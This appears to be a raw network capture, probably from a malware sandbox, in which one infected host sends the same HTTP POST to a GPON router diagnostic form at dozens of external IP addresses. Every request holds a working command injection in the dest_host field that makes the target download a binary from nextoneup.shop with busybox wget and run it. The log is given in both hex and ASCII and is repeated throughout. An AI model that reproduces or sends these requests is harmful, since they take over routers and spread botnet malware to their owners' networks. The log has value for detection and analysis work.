Apr 14, 2024 03:59:52.104789972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	48274	212.1.197.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104816914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	33138	2.117.171.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104852915 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	48538	148.57.18.34	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104892969 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	47044	109.160.197.44	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104931116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	46722	37.58.194.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.104986906 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	44488	210.186.101.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105097055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	57968	117.172.55.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105110884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	38046	79.155.242.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105139017 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	38866	94.177.146.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105181932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	53840	109.195.246.175	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105185032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	56716	148.132.221.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105235100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	49328	123.172.114.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105312109 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	56462	148.93.101.77	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105374098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	59758	212.42.201.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105499983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	52512	148.59.237.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105500937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	50644	117.144.110.126	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105545998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	49228	123.64.141.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105562925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	60108	5.224.7.158	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105571032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	38108	212.232.115.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105611086 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	38368	94.4.184.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105647087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	33354	37.153.191.34	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105678082 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	48366	5.219.77.22	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105742931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	59832	178.107.46.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105846882 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	44718	123.181.77.188	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105851889 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	42018	94.194.235.58	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105885983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
